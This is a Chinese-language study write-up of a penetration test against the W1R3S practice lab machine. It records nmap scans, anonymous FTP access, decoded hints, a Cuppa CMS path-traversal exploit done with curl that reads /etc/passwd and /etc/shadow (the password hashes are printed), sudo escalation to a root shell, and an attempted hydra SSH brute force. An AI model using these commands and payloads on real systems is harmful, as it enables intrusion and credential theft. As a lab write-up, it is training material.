w1r3s 靶机学习
0x01 IP
C for command
kali ip
10.10.10.128
victim ip
10.10.10.129
0x02 开扫
C
sudo nmap -sn 10.10.10.0/24
-sn 多一步入侵和轻量级侦察 发送四项请求
-sL 列表扫描，多用于探测可用ip，广播扫描
–send-ip 时间戳请求，主机发现
C
sudo nmap -sT --min-rate 10000 -p- 10.10.10.129 -oA nmapscan/ports
默认参数-sS，只发送第一次握手包
-sT三次握手，更稳妥
–min-rate 速度
-p- 扫描1到65535端口
-oA 输出全格式报告
C
ls -liah nmapscan
.gnmap 老格式，不推荐
.nmap 和终端一致的格式
.xml 不用多说
C
ports=$(grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ',')
/为分隔符
s指定一行
d指定分隔符
C
sudo nmap -sT -sV -sC -O -p 21,22,80,3306 10.10.10.129 -oA nmapscan/detail
-sT tcp协议
-sV 探测服务版本
-sC 使用默认脚本扫描
-O 探测操作系统
C
sudo nmap -sU --top-ports 20 10.10.10.129 -oA nmapscan/udp
-sU UDP扫描
udp速度块
C
sudo nmap --script=vuln -p21,80,22,3306 10.10.10.129 -oA nmapscan/vuln
默认漏洞脚本扫描
detail结果比较重要，优先看
22端口 优先性较差
21,3306,80
扫描顺序：
端口扫面 确定开放端口
详细信息扫描 看细节
udp扫描
漏洞脚本扫描
0x03 开始渗透
C
ftp 10.10.10.129
username: anonymous
password:
C
binary
switching to binary mode
细节
C
prompt
关闭ftp中的交互提示
C
cd content mget *.txt
m for multi
下载文件
C
quit
观察
C
cat *.txt
new ftp server for w1r3s.inc
.inc for incorporation
leet speak
T
hash-identifier
识别
C
john md5.hash
破解01ec2d8fc11c493b25029fb1f47f39ce
C
echo -n 'This is not a password' | md5sum
看看加密一次是不是md5密文
看着像base 64
SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
It is easy, but not that easy…
C
echo -n "SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==" | base64 -d
-d for decode
看看这段员工列表
The W1R3S.inc employee list Naomi.W - Manager Hector.A - IT Dept Joseph.G - Web Design Albert.O - Web Design Gina.L - Inventory Rico.D - Human Resources
几个员工信息，全靠猜
C
mysql -h 10.10.10.129 -u root -p
数据库没连成
C
sudo gobuster dir -u http://10.10.10.129 --wordlist=/user/share/dirbuster/wordlists/dirctory-list-2.3-medium.txt
(有点小问题)
爆出一个目录
http://10.10.10.129/administrator/installation/
没收获
C
searchsploit cuppa cms
C
searchsploit cuppa -m 25971
-m for mirror
download as 25971.txt
看到利用路径
10.10.10.129/administrator/alerts/alertConfigField.php
cms
https://github.com/CuppaCMS/CuppaCMS
/alerts/alertConfigField.php
C
curl --data-urlencode 'urlConfig=../../../../../../../../../etc/passwd' http://10.10.10.129/administrator/alerts/alertConfigField.php
x表示用户密码的哈希存储在shadow中
C
curl --data-urlencode 'urlConfig=../../../../../../../../../etc/shadow' http://10.10.10.129/administrator/alerts/alertConfigField.php
shadow文件
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7::: daemon:*:17379:0:99999:7::: bin:*:17379:0:99999:7::: sys:*:17379:0:99999:7::: sync:*:17379:0:99999:7::: games:*:17379:0:99999:7::: man:*:17379:0:99999:7::: lp:*:17379:0:99999:7::: mail:*:17379:0:99999:7::: news:*:17379:0:99999:7::: uucp:*:17379:0:99999:7::: proxy:*:17379:0:99999:7::: www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7::: backup:*:17379:0:99999:7::: list:*:17379:0:99999:7::: irc:*:17379:0:99999:7::: gnats:*:17379:0:99999:7::: nobody:*:17379:0:99999:7::: systemd-timesync:*:17379:0:99999:7::: systemd-network:*:17379:0:99999:7::: systemd-resolve:*:17379:0:99999:7::: systemd-bus-proxy:*:17379:0:99999:7::: syslog:*:17379:0:99999:7::: _apt:*:17379:0:99999:7::: messagebus:*:17379:0:99999:7::: uuidd:*:17379:0:99999:7::: lightdm:*:17379:0:99999:7::: whoopsie:*:17379:0:99999:7::: avahi-autoipd:*:17379:0:99999:7::: avahi:*:17379:0:99999:7::: dnsmasq:*:17379:0:99999:7::: colord:*:17379:0:99999:7::: speech-dispatcher:!:17379:0:99999:7::: hplip:*:17379:0:99999:7::: kernoops:*:17379:0:99999:7::: pulse:*:17379:0:99999:7::: rtkit:*:17379:0:99999:7::: saned:*:17379:0:99999:7::: usbmux:*:17379:0:99999:7::: w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7::: sshd:*:17554:0:99999:7::: ftp:*:17554:0:99999:7::: mysql:!:17554:0:99999:7:::
留下这三个
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7::: www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7::: w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
看看w1r3s用户是什么权限
C
sudo ssh w1r3s@10.10.10.129
输入密码computer 成了
C
id uname -a sudo -l sudo /bin/bash whoami id
试试ssh暴力破解
C
hydra -L user.list -P /usr/share/wordlists/rockyou.txt ssh//10.10.10.129 -t 4
不成，不知道为啥
推测hydra的版本问题
不过不推荐ssh爆破
